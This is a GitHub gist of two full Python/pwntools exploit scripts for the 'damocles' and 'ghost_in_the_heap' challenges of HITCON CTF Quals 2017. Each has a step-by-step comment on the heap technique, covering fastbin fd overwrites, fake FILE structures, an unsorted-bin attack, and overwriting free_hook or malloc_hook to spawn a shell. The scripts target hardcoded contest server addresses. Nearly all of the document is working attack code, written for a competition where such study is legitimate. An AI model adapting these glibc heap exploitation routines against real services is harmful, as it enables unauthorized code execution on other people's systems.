Last active
January 4, 2018 04:23
-
-
Save m1ghtym0/6f14b164c6f0c9fb6a5f2acf1149b33f to your computer and use it in GitHub Desktop.
HITCON CTF QUALS 2017
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import sys | |
from time import time, sleep | |
import ctypes | |
import threading | |
BINARY = './damocles.patched' | |
LIBC = './libc.so.6' | |
LOCAL_LIBC = '/lib/x86_64-linux-gnu/libc.so.6' | |
''' | |
This is my solution for the damocles challenge, it's maybe not the prettiest solution, as you loose stdout (printf) on the way | |
But first-blood though... soo BUUMO I guess | |
See https://github.com/scwuaptx/CTF/tree/master/2017-writeup/hitcon for background | |
- We can allocate abitrary sizes | |
- Have an overflow with controlled size | |
1. Create Fastbins and overflow fd-ptr to get an allocation in bss | |
2. Create a fake fp and a fake fastbinlist in bss | |
3. Get allocation after .got to overflow stdout and and stdin in bss and set the correct fastbin size in front of stdin | |
4. Modify stdin's least-significant-byte so it's pointing to a valid fastbin above stdin in libc | |
5. Overflow another fastbin to make it point to the bss. | |
- Set it up so that stdin in bss is the fastbin's fd-ptr | |
6. Get two allocations so the last one goes into libc | |
7. Overflow from stdin in libc into stdout in libc | |
- Overwrite main_arena to point to the fake fastbinlist in bss | |
- Set some pointers to readable memory | |
- Modify stdout's write-ptr so that next time puts is called it will flush the content and point it to a libc address in bss | |
8. Use the leak to get libc's address | |
9. Use the fake fastbinlist to fastbin-dup into libc again, this time in front of free_hook | |
10. Overwrite free_hook and profit | |
''' | |
# Set context for asm | |
context.clear() | |
context(os='linux', arch='amd64', bits=64) | |
#context.timeout = 5 | |
#context.log_level = 'debug' | |
GLOBAL_SLEEP = 1 | |
def step(msg): | |
print msg | |
pause() | |
def read_menu(r): | |
r.recvuntil('Your choice: ') | |
def deaf_read_menu(r): | |
r.recvuntil(' 3. Exit') | |
r.recvlines(2) | |
def alloc(r, content, size): | |
read_menu(r) | |
r.sendline(str(1)) | |
r.recvuntil('Size : ') | |
r.sendline(str(size)) | |
r.recvuntil('Content :') | |
r.send(content) | |
sleep(GLOBAL_SLEEP) | |
r.sendline('y') | |
def deaf_alloc(r, content, size): | |
deaf_read_menu(r) | |
r.sendline(str(1)) | |
sleep(GLOBAL_SLEEP) | |
r.sendline(str(size)) | |
sleep(GLOBAL_SLEEP) | |
r.send(content) | |
sleep(GLOBAL_SLEEP) | |
r.sendline('y') | |
sleep(GLOBAL_SLEEP) | |
def free(r): | |
read_menu(r) | |
r.sendline(str(2)) | |
def deaf_free(r): | |
deaf_read_menu(r) | |
r.sendline(str(2)) | |
sleep(GLOBAL_SLEEP) | |
def overflow(r, size, size2, content, content_dummy='A\n'): | |
read_menu(r) | |
r.sendline(str(1)) | |
r.recvuntil('Size : ') | |
r.sendline(str(size)) | |
r.recvuntil('Content :') | |
r.send(content_dummy) | |
r.recvuntil('Finish ? (Y/n)') | |
r.sendline('n') | |
r.recvuntil('Size :') | |
r.sendline(str(size2)) | |
r.recvuntil('Content :') | |
r.send(content) | |
sleep(GLOBAL_SLEEP) | |
r.sendline('y') | |
def deaf_overflow(r, size, size2, content, content_dummy='A\n'): | |
deaf_read_menu(r) | |
r.sendline(str(1)) | |
sleep(GLOBAL_SLEEP) | |
r.sendline(str(size)) | |
sleep(GLOBAL_SLEEP) | |
r.send(content_dummy) | |
sleep(GLOBAL_SLEEP) | |
r.sendline('n') | |
sleep(GLOBAL_SLEEP) | |
r.sendline(str(size2)) | |
sleep(GLOBAL_SLEEP) | |
r.send(content) | |
sleep(GLOBAL_SLEEP) | |
r.sendline('y') | |
sleep(GLOBAL_SLEEP) | |
def exploit(r, elf, libc, local): | |
fake_file_ptr = 0x602030+8 | |
new_fastbins = fake_file_ptr+0xc0+8 | |
bss_start = 0x602000 | |
stdout = 0x602010 | |
stdin = 0x602020 | |
''' | |
- create fake file_ptr in bss | |
- Create a fake fastbin list in bss | |
''' | |
alloc(r, 'A\n', 0x20) | |
free(r) | |
alloc(r, 'A\n', 0x68) | |
free(r) | |
# Overflow into fastbin and modify fd-ptr | |
payload = '' | |
payload += 'A'*0x28 | |
payload += p64(0x71) | |
payload += p64(stdin+5-8) # stdin-8 | |
payload += '\n' | |
overflow(r, 0x20, 0x60, payload) | |
alloc(r, 'A\n', 0x68) | |
# clear ptr, so fake-fastbin->fd is 0 | |
alloc(r, 'A\n', 0x38) | |
free(r) | |
# get allocation in bss and create fakes | |
payload = '' | |
payload += '\0'*3 | |
payload += '\0'*8 | |
payload += '\0' * (0xc0) # Fake file_ptr | |
payload += p64(0x42) | |
payload += p64(0x0) | |
payload += p64(0x71) | |
payload += p64(new_fastbins+0x70) | |
payload += '\0'*(0x70-0x10) | |
payload += p64(0x71) | |
overflow(r, 0x68, len(payload), payload) # -> allocate over data segment | |
''' | |
- Get allocation in bss again to manipulate stdin's least-significant-byte and set a correct fastbin size in front | |
- Than we get a ptr in the fastbin list so that stdin in bss is used as it's fd-ptr | |
- Use this to get an allocation over libc's stdin | |
- We have to overflow stdout in bss, so we loose output after this step | |
- We overflow stdout with a ptr to our fake fp, so that printf will just return and not crash | |
''' | |
# overwrite stdout+stdin in bss | |
alloc(r, 'A\n', 0x20) | |
free(r) | |
alloc(r, 'A\n', 0x68) | |
free(r) | |
payload = '' | |
payload += 'A'*0x28 | |
payload += p64(0x71) | |
payload += p64(bss_start-3-8) # bss-3-8 | |
payload += '\n' | |
overflow(r, 0x20, 0x60, payload) | |
alloc(r, 'A\n', 0x68) | |
payload = '' | |
payload += '\0'*3 | |
payload += '\0'*8 | |
payload += p64(fake_file_ptr) # Fake file_ptr so that printf doesn't crash | |
payload += p64(0x71) | |
if local: | |
payload += p8(0xd5-8) | |
else: | |
payload += p8(0xb5-8) | |
overflow(r, 0x68, len(payload), payload) # -> allocate over bss segment and overflow | |
''' | |
- When we get the allocation over libc's stdin we overflow into libc's stdout to manipulate the write-buffer-ptrs | |
- We overflow main_arena and place our fake fastbin-list there | |
- We also have to set some correct ptrs | |
- We manipulate stdout's write-buffer-pointers, so that puts will leak a libc pointer from our bss segment | |
''' | |
# get allocation over libc | |
deaf_alloc(r, 'A\n', 0x20) | |
deaf_free(r) | |
deaf_alloc(r, 'A\n', 0x68) | |
deaf_free(r) | |
payload = '' | |
payload += 'A'*0x28 | |
payload += p64(0x71) | |
payload += p64(0x602010) # stdin-0x10 | |
payload += '\n' | |
deaf_overflow(r, 0x20, 0x60, payload) | |
deaf_alloc(r, '\n', 0x68) | |
deaf_alloc(r, '\n', 0x68) | |
payload = '' | |
payload += '\0'*(0x253+8) # offset to first main_arena constant | |
payload += p64(0x0) # constant | |
payload += p64(0x0) * 2 | |
payload += p64(new_fastbins) # fastbin[5] | |
payload += p64(0x0) * 4 | |
payload += p64(0x0) | |
payload += '\0'*(0x8b0-24) | |
payload += p64(bss_start)*0x1e # there need to be some correct pointers for strtol | |
payload += '\0'*0x18 # offset to _IO_list_all | |
payload += 'A'*8 # _IO_list_all | |
payload += '\0'*0xf8 # offset to stdout | |
payload += p64(0x00000000fbad2887) # flags | |
payload += p64(stdin) # read_ptr | |
payload += p64(stdin) # read_end | |
payload += p64(stdin) # read_base | |
payload += p64(stdin) # write_base | |
payload += p64(stdin+0x80) # write_ptr | |
payload += p64(stdin+0x80) # write_end | |
deaf_overflow(r, 0x68, len(payload), payload) | |
content = r.recvuntil('2. Free ') | |
libc_addr = u64(content[:8]) | |
if local: | |
libc.address = libc_addr - 0x3c4800 | |
else: | |
libc.address = libc_addr - 0x3c1800 | |
log.info('libc-base: {}'.format(hex(libc.address))) | |
if local: | |
before_free_hook = libc.address+0x3c571d-8 | |
offset_to_hook = 0x1083 | |
else: | |
before_free_hook = libc.address+0x3c26fd-8 | |
offset_to_hook = 0x1083 | |
''' | |
- Now we use the fakt that we installed our fake fastbin-list in main_arena to get an allocation in front of free_hook | |
- We than just need to call free with a chunk starting with '/bin/sh' and we're done | |
''' | |
# overwrite fastbin fd | |
payload2 = '' | |
payload2 += '\0'*(0x70-8) | |
payload2 += p64(0x71) | |
payload2 += p64(before_free_hook) | |
deaf_overflow(r, 0x68, len(payload2), payload2) | |
# get head of fastbin | |
deaf_alloc(r, '\n', 0x68) | |
# alloc over libc | |
payload2 = '' | |
payload2 += '/bin/sh\0' | |
payload2 = payload2.ljust(offset_to_hook, '\0') | |
payload2 += p64(libc.symbols['system']) | |
deaf_overflow(r, 0x68, len(payload2), payload2) | |
# trigger free_hook | |
deaf_free(r) | |
r.interactive() | |
if __name__ == '__main__': | |
global GLOBAL_SLEEP | |
elf = ELF(BINARY) | |
if len(sys.argv) < 2: | |
print 'Usage: {} local|docker|remote'.format(sys.argv[0]) | |
sys.exit(1) | |
elif sys.argv[1] == 'remote': | |
GLOBAL_SLEEP=1 | |
H,P = ('54.65.133.128', 1412) | |
libc = ELF(LIBC) | |
r = remote(H,P) | |
r.recvuntil('+++++++++++++++++++++++++') | |
exploit(r, elf, libc, local=False) | |
else: | |
GLOBAL_SLEEP=0.2 | |
if sys.argv[1] == 'local': | |
libc = ELF(LOCAL_LIBC) | |
r = process(BINARY) | |
local = True | |
else: | |
libc = ELF(LIBC) | |
r = process(BINARY, env = {'LD_PRELOAD' : '{}'.format(LIBC)}) | |
local = False | |
r.recvuntil('+++++++++++++++++++++++++') | |
print 'PID: {}'.format(util.proc.pidof(r)) | |
pause() | |
exploit(r, elf, libc, local) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import sys | |
from time import time, sleep | |
import ctypes | |
import threading | |
BINARY = './ghost_in_the_heap.bin.patched' | |
LIBC = './libc.so.6' | |
LOCAL_LIBC = '/lib/x86_64-linux-gnu/libc.so.6' | |
''' | |
unsorted_bin attack, needs libc leak but no heap-leak!!11!! | |
1. Leak libc by allocating ghost over former chunk in unsorted_bin list | |
2. Use ghost to ghost to sperate top-chunk and three-consolidated heaps in unsorted_bin | |
3. Use One-Nullbyte overflow to shrink the big free chunk | |
4. Fake a free-chunk in unsorted bin inside when allocating in the shrinked chunk | |
5. Free ghost and another smallbin afterwards to trigger a malloc-consolidate | |
- Because of the forgotten update the allocated chunk in the shrinked chunk will be unlinked | |
- We survive this by pointing to last_remainder in libc, which points back to us, if we setup this correctly | |
6. Now we get an overlapping chunk which let's us do an unsorted attack | |
7. We set the bk of an unsorted_bin chunk to point to stdin's read_end, which will be overwritten with unsorted_bin's address | |
8. When scanf is called we overflow from there to the malloc_hook and set it to magic | |
9. Triggering the malloc_hook and we're done | |
''' | |
# Set context for asm | |
context.clear() | |
context(os='linux', arch='amd64', bits=64) | |
#context.timeout = 5 | |
#context.log_level = 'debug' | |
def read_menu(r): | |
r.readline('Your choice: ') | |
def add_heap(r, data): | |
read_menu(r) | |
r.sendline('1') | |
r.recvuntil('Data :') | |
r.send(data) | |
def delete_heap(r, idx): | |
read_menu(r) | |
r.sendline('2') | |
r.recvuntil('Index :') | |
r.sendline(str(idx)) | |
def add_ghost(r, magic, desc): | |
read_menu(r) | |
r.sendline('3') | |
r.recvuntil('Magic :') | |
r.send(magic) | |
r.recvuntil('Description :') | |
r.send(desc) | |
def display_ghost(r, magic): | |
read_menu(r) | |
r.sendline('4') | |
r.recvuntil('Magic :') | |
r.send(magic) | |
r.recvuntil('Description: ') | |
return r.recvuntil('$$$$')[:-4] | |
def delete_ghost(r): | |
read_menu(r) | |
r.sendline('5') | |
def exploit(r, elf, libc, local): | |
# Leak libc | |
add_heap(r, 'A'*8+'\n') | |
add_heap(r, 'B'*8+'\n') | |
add_heap(r, 'C'*8+'\n') | |
delete_heap(r, 1) | |
magic = '1337\n' | |
add_ghost(r, magic, 'G'*8) | |
content = display_ghost(r, magic) | |
libc_addr = u64(content[8:].ljust(8, '\0')) | |
if local: | |
libc.address = libc_addr - 0x3c1bf8 - 0x3020 | |
else: | |
libc.address = libc_addr - 0x3c1bf8 | |
log.info('libc-base: {}'.format(hex(libc.address))) | |
#Cleanup | |
delete_ghost(r) | |
delete_heap(r, 0) | |
delete_heap(r, 2) | |
# get pointer to freed chunk | |
add_heap(r, 'A'+'\n') | |
add_heap(r, 'A'+'\n') | |
# setup fake prev_size and PREV_INUSE bit so the chunk is not consolidate later | |
payload = '' | |
payload += p64(0x0) | |
payload += p64(0x0) | |
payload += p64(0x0) | |
payload += p64(0x0) | |
payload = payload.ljust(64, '\0') | |
payload += p64(0x100) | |
payload += p64(0x201) | |
add_heap(r, payload+'\n') | |
add_ghost(r, magic, 'A') | |
# Cleanup -> Gives huge free chunk at heap beginning | |
delete_heap(r, 0) | |
delete_heap(r, 1) | |
delete_heap(r, 2) | |
# Overflow and allocation in shrinked chunk | |
add_heap(r, 'A'*168) | |
add_heap(r, 'A'*16 + '\n') | |
# Free again -> will not be consolidated with the last_remainder because of the fake PREV_INUSE bit | |
# Will only consolidate those two | |
delete_heap(r, 0) | |
delete_heap(r, 1) | |
# Setup Fake free chunk to point to last_remainder in libc | |
if local: | |
last_remainder = libc.address + 0x3c4b80 | |
else: | |
last_remainder = libc.address + 0x3c1b60 | |
# This allocation will split the chunk unsorted_bin and point last_remainder to the next chunk | |
add_heap(r, 'A'*160 + '\n') | |
payload = "" | |
payload += p64(last_remainder - 3*8) | |
payload += p64(last_remainder - 2*8) | |
# last remainder will point to us | |
add_heap(r, payload + '\n') | |
# allocate smth after ghost cause malloc consolidation later | |
add_heap(r, 'A'+'\n') | |
# trigger malloc-consolidate and unlink | |
delete_ghost(r) | |
delete_heap(r, 2) | |
# Get overlapping chunks | |
overflower = 0 | |
target = 1 | |
barrier = 2 | |
delete_heap(r, overflower) | |
add_ghost(r, magic, 'A') # add ghost to get offset | |
# Overflow size | |
payload = '' | |
payload += '\0'*0x40 | |
payload += p64(0x0) | |
payload += p64(0xa1) | |
add_heap(r, payload + '\n') # overflow happening | |
# Create fake chunks after target | |
payload = '' | |
payload += '\0'*(0x150-0x120) # at offset 0x120 | |
payload += p64(0xa0) # at offset 0x150 -> prev_size | |
payload += p64(0x41) # at offset 0x158 -> next_size | |
payload += '\0' * 0x20 | |
payload += 'A'*8 | |
payload += 'B'*8 | |
payload += p64(0x40) # at offset 0x170 -> prev_size | |
payload += p64(0x41) # at offset 0x178 -> prev_size | |
add_heap(r, payload + '\n') # overflow happening | |
# get overflower into unsorted | |
delete_heap(r, overflower) | |
# get target into unsorted | |
delete_heap(r, target) | |
# overflow of target in unsorted | |
if local: | |
io_list = libc.address + 0x3c5520 | |
unsorted_bin = libc.address + 0x3c4b78 | |
else: | |
io_list = libc.address + 0x3c2500 | |
unsorted_bin = libc.address + 0x3c1b58 | |
# reallocate overflower and point bk of target to read_end in libc's stdin | |
# the unlink in the unsorted will overwrite this with the address of libc's unsorted_bin | |
payload = "" | |
payload += '\0'* 0x40 | |
payload += p64(0x0) | |
payload += p64(0xb1) | |
payload += p64(unsorted_bin) | |
payload += p64(libc.address+0x3c1900-0x10) # 0x18 | |
add_heap(r, payload + '\n') # write from 0x70 | |
# some address we better set correctly when overflowing in the libc | |
vtable = libc.address + 0x3be400 | |
guy_1 = libc.address + 0x3c3770 | |
guy_2 = libc.address + 0x3c19a0 | |
magic_gadget = libc.address + 0xf24cb | |
# overflow from stdin's read_buf into malloc_hook and set it to magic-gadget | |
payload = '' | |
payload += '\0'*5 | |
payload += p64(guy_1) | |
payload += '\xff'*8 | |
payload += p64(0) | |
payload += p64(guy_2) | |
payload += p64(0) * 3 | |
payload += '\xff'*4 + '\0'*4 | |
payload += p64(0) * 2 | |
payload += p64(vtable) | |
payload += '\0'*0x150 | |
payload += p64(magic_gadget) | |
add_heap(r, payload + '\n') # write from 0x60 | |
# trigger malloc_hook | |
delete_ghost(r) | |
delete_heap(r, 1) | |
r.interactive() | |
if __name__ == '__main__': | |
elf = ELF(BINARY) | |
if len(sys.argv) < 2: | |
print 'Usage: {} local|docker|remote'.format(sys.argv[0]) | |
sys.exit(1) | |
elif sys.argv[1] == 'remote': | |
H,P = ('52.193.196.17', 56746) | |
libc = ELF(LIBC) | |
r = remote(H,P) | |
exploit(r, elf, libc, local=False) | |
else: | |
if sys.argv[1] == 'local': | |
libc = ELF(LOCAL_LIBC) | |
r = process(BINARY) | |
local = True | |
else: | |
libc = ELF(LIBC) | |
r = process(BINARY, env = {'LD_PRELOAD' : '{}'.format(LIBC)}) | |
local = False | |
print 'PID: {}'.format(util.proc.pidof(r)) | |
pause() | |
exploit(r, elf, libc, local) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment